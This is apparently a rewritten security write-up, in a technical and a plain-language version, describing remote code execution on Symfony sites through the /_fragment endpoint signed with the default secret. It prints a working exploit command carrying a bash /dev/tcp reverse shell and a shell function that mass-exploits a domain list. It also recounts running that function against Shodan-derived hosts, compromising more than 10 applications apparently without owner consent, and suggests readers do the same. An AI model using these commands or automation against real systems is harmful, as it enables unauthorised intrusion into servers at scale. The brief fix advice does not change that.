How I got RCE in + 10 websites…
The author found Symfony applications with the _fragment endpoint exposed and a known secret, allowing remote code execution via the secret fragment exploit. They used this to execute commands and obtain reverse shells on over 10 applications.
Many may say that the title of this article is a strategy to attract people, but that is not the objective. The goal here is to share the knowledge and success I’ve had with this exploration.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up is about exploiting a Symfony application through its fragment endpoint, /_fragment, when the framework is left with its debug mode active and the default fragment secret in place. The fragment feature is what Symfony uses to render sub-requests (fragments) inside a page, and the endpoint accepts a signed _fragment parameter. If the signing secret is the well-known default and the debug mode is on, the signature can be computed by anyone, and the fragment can be made to call a PHP function with attacker-controlled parameters.
The researcher had already been studying this class of attack and credits the article "How I hacked 28 sites at once (RCE)" by Al1z4deh for the technique. The host used in the write-up is referred to as example.com. The researcher says the host was still exposed when checked.
Setup
The tools involved are:
- The public exploit script
secret_fragment_exploit.pyfrom theambionics/symfony-exploitsrepository. anewfor de-duplicating output during automation.- Shodan for finding hosts that run the framework.
- A DNS server of the researcher's choice, passed as the third argument to the automation function.
The exploit script is run with the default secret ThisTokenIsNotSoSecretChangeIt and sha256. The researcher notes at the start that only sites you have permission to test should be explored.
Finding it
After reading the referenced article, the researcher went looking for a host and found example.com still exposed. Querying the path /_fragment returned a page that was different because debug was active.

The page was different because debug was active. The researcher then read the exploit script to understand what it does and how the vulnerability is triggered before running it.
Exploitation
Step 1: Run the exploit script
When the line of code below was executed, the site returned an error about a possible overflow, and the file was not saving as expected. The researcher attributes this to a bug in the application being tested.

Step 2: Drop the file output
After the error, the researcher removed the out.txt output, expecting the command to be triggered directly on screen. That is what happened.

Step 3: Test a reverse shell
The next step was to check whether a reverse shell was possible, that is, whether any control blocked output to the internet. According to the researcher, no such control existed. The command used was:
python3 secret_fragment_exploit.py 'https://m4cddr.com/app_dev.php/_fragment' --method 1 --secret 'ThisTokenIsNotSoSecretChangeIt' --algo 'sha256' --internal-url 'https://m4cddr.com/app_dev.php/_fragment' --function shell_exec --parameters cmd:'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
The important parts:
--method 1selects the fragment method used by the script.--secret 'ThisTokenIsNotSoSecretChangeIt'is the default Symfony fragment secret, which is what makes the signature forgeable.--algo 'sha256'is the hashing algorithm used for the signature.--internal-urlpoints the internal sub-request at the same fragment endpoint.--function shell_execis the PHP function invoked by the fragment.--parameters cmd:'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'passes the reverse shell command as thecmdparameter.
The researcher reports that no control blocked output to the internet.

Step 4: Automate it
The researcher wrote a shell function that takes a list of domains and runs the exploit against each one, then fetches the result to confirm execution:
RCESymfony(){ for i in $(cat domains); do python3 secret_fragment_exploit.py $i/_fragment --method 1 --secret 'ThisTokenIsNotSoSecretChangeIt' --algo 'sha256' --internal-url "$i"/_fragment --function shell_exec --parameters cmd:" curl https://$3" | anew -q RCEsymfony.tmp;done for i in $(cat RCEsymfony.tmp);do curl $i | anew -q RCEsymfony-$i.txt;done }
The third argument is the DNS server of the researcher's choice. The first loop runs the exploit against every domain in the domains file and stores hits in RCEsymfony.tmp; the second loop requests each hit and saves the output per host. The researcher notes that other ways to automate exist and that a private Nuclei template was also created, left as an exercise for the reader.
Step 5: Find more targets with Shodan
The researcher went to Shodan to identify applications running the framework. Many appeared as expected. The list was downloaded and the automation was run against it, and more than 10 applications were exploited through the vulnerability.

Root cause
The exploit relies on the fragment endpoint being reachable with debug active and on signing fragments with the default secret value used in the script. With the secret known, the _fragment signature can be generated by anyone, and the fragment can be made to call a PHP function such as shell_exec with attacker-controlled parameters. The report does not describe the application code itself, so the exact reason the file output failed in the first attempt is not stated; the researcher treats it as a bug in the tested application.
Impact
On the hosts exploited, commands were run on the server. In this exploration that meant command output on screen and a reverse shell with no egress control blocking it. The researcher reports more than 10 applications exploited through the same automation. The impact depends entirely on the target being exposed with debug on and the default secret in place.
Fix
Change the fragment secret from the default value and disable debug mode in any environment reachable from the internet. The report does not describe a fix applied by any of the affected sites.
Variants to test
- Query
/_fragmenton Symfony hosts and look for a response that differs from a production error page, which suggests debug is active. - Try the default secret
ThisTokenIsNotSoSecretChangeItwithsha256against/_fragment. - Test the same path under front-controller prefixes such as
/app_dev.php/_fragment, as used in the command above; a positive result is the same command execution through that path. - Run the automation against a Shodan-derived list of Symfony hosts, using a DNS server of your choice as the third argument.
- Check whether any control blocks output to the internet by attempting a reverse shell.
What happened, in plain words
A security researcher found that some websites built with a popular programming toolkit called Symfony had been left in a careless state. A debugging mode was switched on where anyone on the internet could reach it, and the exploit script signs fragments with the default secret value that ships with the toolkit.
The exploit script signs fragment requests using the default secret value. Symfony has a feature that lets a page ask the server to run a small piece of work on its behalf, called a fragment. If you can sign a fragment request, you can also tell it which built-in PHP function to run, and with what arguments. The researcher used this to run commands on the server, first seeing the output on screen, then checking whether a reverse shell was possible. He then automated the whole thing and ran it against a list of hosts found through Shodan, a search engine for internet-connected devices, and reports that he exploited more than 10 applications this way.
Before anything else, the researcher makes one point clear: only explore sites that you have permission to test. Everything below is a description of what he did.
Where the idea came from
The researcher had already been studying this class of attack. He came across an article titled "How I hacked 28 sites at once (RCE)" by Al1z4deh, and it caught his attention because he was already learning about this kind of exploitation. He credits that article for the technique and thanks its author.

RCE stands for remote code execution: the ability to make a remote server run commands of your choosing. It is one of the most serious outcomes in security, because from there an attacker can usually do whatever the web server's user account is allowed to do.
The setup: what you need before you start
The tools involved in this exploration are:
- The public exploit script
secret_fragment_exploit.pyfrom theambionics/symfony-exploitsrepository on GitHub. An exploit script is a small program that carries out an attack automatically, so you do not have to craft each request by hand. anew, a command-line utility that adds lines to a file only if they are not already there. It is used to remove duplicates from output.- Shodan, a search engine that indexes devices and services connected to the internet. Instead of searching for web pages, you search for things like "servers running this software".
- A DNS server of the researcher's choice, passed as the third argument to the automation function. DNS is the system that turns names like
example.cominto IP addresses. If you control a DNS server, you can see when a target looks up a name you gave it, which is a way to confirm that your command actually ran on the target.
The attack targets a Symfony application that exposes the /_fragment path with debug active, signing fragments with the default secret value used in the script. If either of those is not true, the technique does not work.
Finding a target
After reading the referenced article, the researcher went looking for a host and found one, which he refers to as example.com, still exposed. He queried the path /_fragment and got back a page that was different because debug was active.

Why does that matter? The page was different because debug was active. That is the first clue that the site might be vulnerable.
Understanding the exploit script before running it
The researcher then read the exploit script to understand what it does and how the vulnerability is triggered, before running it. This is a good habit: an exploit script is just code, and reading it tells you what requests it will send and what it expects back.
Step 1: Run the exploit script
When the line of code below was executed, the site returned an error about a possible overflow, and the file was not saving as expected. The researcher attributes this to a bug in the application being tested.

The site returned an error mentioning a possible overflow. The researcher's interpretation is that the application itself had a bug that interfered with the first attempt, not that the vulnerability was absent. The important point is that the request reached the server and the server tried to do something with it.
Step 2: Drop the file output
After the error, the researcher removed the out.txt output, expecting the command to be triggered directly on screen. That is what happened.

The first attempt did not save the file as expected, so he removed the out.txt output. That failed. He removed the out.txt output, expecting the command to be triggered directly on screen. Seeing the command output in the page confirmed that code was being executed on the server.
Step 3: Test a reverse shell
The next step was to check whether a reverse shell was possible. A reverse shell is a connection that the target machine makes out to a machine you control, giving you an interactive command line on the target. It is called "reverse" because the connection goes from the victim to the attacker, which often slips past firewalls that block incoming connections but allow outgoing ones.
The researcher wanted to know whether any control blocked output to the internet. According to him, no such control existed. The command used was:
python3 secret_fragment_exploit.py 'https://m4cddr.com/app_dev.php/_fragment' --method 1 --secret 'ThisTokenIsNotSoSecretChangeIt' --algo 'sha256' --internal-url 'https://m4cddr.com/app_dev.php/_fragment' --function shell_exec --parameters cmd:'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
Line by line, in plain words:
python3 secret_fragment_exploit.pyruns the exploit script with the Python 3 interpreter. Python is a programming language;python3is the program that executes Python files.'https://m4cddr.com/app_dev.php/_fragment'is the target URL.app_dev.phpis a front-controller file that Symfony projects often use in development mode, and/_fragmentis the fragment endpoint. The single quotes keep the shell from interpreting any special characters in the URL.--method 1selects the fragment method used by the script. The script supports more than one way of triggering the fragment; this flag picks one of them.--secret 'ThisTokenIsNotSoSecretChangeIt'is the default Symfony fragment secret. This is the heart of the issue: the secret is supposed to be private, but this value is the one that ships with the framework, so anyone can use it to sign a fragment.--algo 'sha256'is the hashing algorithm used for the signature. SHA-256 is a mathematical function that turns any input into a fixed-length fingerprint; it is used here to compute the signature over the fragment data.--internal-urlpoints the internal sub-request at the same fragment endpoint. In other words, when the server processes the fragment, it will make a request back to itself at this URL.--function shell_execis the PHP function invoked by the fragment. PHP is the language Symfony is written in, andshell_execis a built-in function that runs a shell command and returns its output.--parameters cmd:'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'passes the reverse shell command as thecmdparameter. Breaking that inner command down:bash -istarts an interactive Bash shell;>& /dev/tcp/<IP>/<PORT>redirects its input and output to a TCP connection to the given IP and port;0>&1makes file descriptor 0 (standard input) point at the same place as file descriptor 1 (standard output). The result is a shell whose input and output travel over the network connection to the attacker's listener.
The researcher reports that no control blocked output to the internet.

Step 4: Automate it
Doing this by hand for one host is fine, but the researcher wanted to check many hosts. He wrote a shell function that takes a list of domains and runs the exploit against each one, then fetches the result to confirm execution:
RCESymfony(){ for i in $(cat domains); do python3 secret_fragment_exploit.py $i/_fragment --method 1 --secret 'ThisTokenIsNotSoSecretChangeIt' --algo 'sha256' --internal-url "$i"/_fragment --function shell_exec --parameters cmd:" curl https://$3" | anew -q RCEsymfony.tmp;done for i in $(cat RCEsymfony.tmp);do curl $i | anew -q RCEsymfony-$i.txt;done }
Line by line, in plain words:
RCESymfony(){ ... }defines a shell function namedRCESymfony. A shell function is a named block of commands you can call later by typing its name.for i in $(cat domains); do ... doneis a loop.cat domainsprints the contents of a file calleddomains, one host per line, and the loop runs the body once for each line, with$iholding the current host.python3 secret_fragment_exploit.py $i/_fragment ...runs the exploit against the current host, appending/_fragmentto its name. The rest of the flags are the same as in the single-host command above.--parameters cmd:" curl https://$3"is the command the fragment will run on the target. It is acurlrequest tohttps://$3, where$3is the third argument passed to the function. The researcher explains that the third argument is the DNS server of your choice. In other words, the target is made to look up a name on a DNS server you control, which is a harmless way to confirm that command execution happened without needing a full shell.| anew -q RCEsymfony.tmppipes the output of the exploit intoanew, which appends only new lines toRCEsymfony.tmp. The-qflag makes it quiet. The file ends up holding the hosts that responded in a way that suggests the exploit worked.for i in $(cat RCEsymfony.tmp);do curl $i | anew -q RCEsymfony-$i.txt;doneis a second loop. For each host recorded inRCEsymfony.tmp, it fetches the host withcurland saves the output to a per-host file namedRCEsymfony-$i.txt, again usinganewto avoid duplicates. This is a way to keep a record of what each target returned.
The researcher notes that other ways to automate exist and that a private Nuclei template was also created, left as an exercise for the reader. Nuclei is a tool that runs a list of checks, called templates, against targets; writing your own template is a way to package a check so it can be reused.
Step 5: Find more targets with Shodan
The researcher went to Shodan to identify applications running the framework. Many appeared as expected. He downloaded the list and ran the automation against it, and more than 10 applications were exploited through the vulnerability.

Why it works
The exploit relies on the fragment endpoint being reachable with debug active and on signing fragments with the default secret value used in the script.
Think of the fragment signature as a wax seal on an envelope. The server only opens envelopes whose seal matches the secret it knows. If the secret is the default one that everyone can look up in the documentation, anyone can make a matching seal, and the server will happily open the envelope. Debug mode makes things worse because it exposes more detail about the application and makes the development environment reachable.
With the secret known, the _fragment signature can be generated by anyone, and the fragment can be made to call a PHP function such as shell_exec with attacker-controlled parameters. The report does not describe the application code itself, so the exact reason the file output failed in the first attempt is not stated; the researcher treats it as a bug in the tested application.
What the impact is
On the hosts exploited, commands were run on the server. Unauthenticated means no login is needed: the attacker does not have to be a user of the site. In this exploration that meant command output on screen and a reverse shell with no egress control blocking it. Egress control is a filter on outgoing traffic; without one, the server can connect out to the internet freely, which is what a reverse shell needs. The researcher reports more than 10 applications exploited through the same automation. The impact depends entirely on the target being exposed with debug on and the default secret in place.
How to fix it
Change the fragment secret from the default value and disable debug mode in any environment reachable from the internet. The report does not describe a fix applied by any of the affected sites.
Things worth trying on your own lab
These are the checks the researcher describes, written as things to try on systems you are allowed to test:
- Query
/_fragmenton Symfony hosts and look for a response that differs from a production error page, which suggests debug is active. - Try the default secret
ThisTokenIsNotSoSecretChangeItwithsha256against/_fragment. - Test the same path under front-controller prefixes such as
/app_dev.php/_fragment, as used in the command above; a positive result is the same command execution through that path. - Run the automation against a Shodan-derived list of Symfony hosts, using a DNS server of your choice as the third argument.
- Check whether any control blocks output to the internet by attempting a reverse shell.
Glossary
- Symfony: a set of building blocks for writing web applications in PHP. Many sites use it, which is why a single misconfiguration can affect many hosts.
- PHP: a programming language widely used for websites. Symfony is written in it.
- Fragment: a piece of a page that Symfony renders separately, by making a sub-request to the server. The
/_fragmentendpoint is where those sub-requests go. - Endpoint: a specific URL path on a server that accepts requests and does something with them.
- Debug mode: a development setting that makes an application show extra detail about errors and internal state. It should be off on any site reachable from the internet.
- Secret: a private value used to sign or encrypt data so that only someone who knows it can produce a valid signature. If it is left at a default, it is no longer private.
- Signature: a value computed from data and a secret, used to prove the data came from someone who knows the secret.
- SHA-256: a hashing algorithm that turns input into a fixed-length fingerprint. Used here to compute the fragment signature.
- RCE (remote code execution): making a remote server run commands of your choosing.
- Reverse shell: a connection from the target machine back to the attacker, giving an interactive command line on the target.
- Egress control: a filter on outgoing network traffic from a server.
- DNS: the system that turns names like
example.cominto IP addresses. A DNS callback is when a target looks up a name you control, proving it ran your command. - Shodan: a search engine for internet-connected devices and services.
- Exploit script: a program that carries out an attack automatically.
- Shell function: a named block of commands in a shell script that you can call by name.
anew: a command-line tool that appends lines to a file only if they are not already present, used to remove duplicates.curl: a command-line tool for making HTTP requests.- Nuclei: a tool that runs a list of checks, called templates, against targets.
- Unauthenticated: without logging in; no account or credentials required.
shell_exec: a PHP function that runs a shell command and returns its output.app_dev.php: a front-controller file that Symfony projects often use in development mode.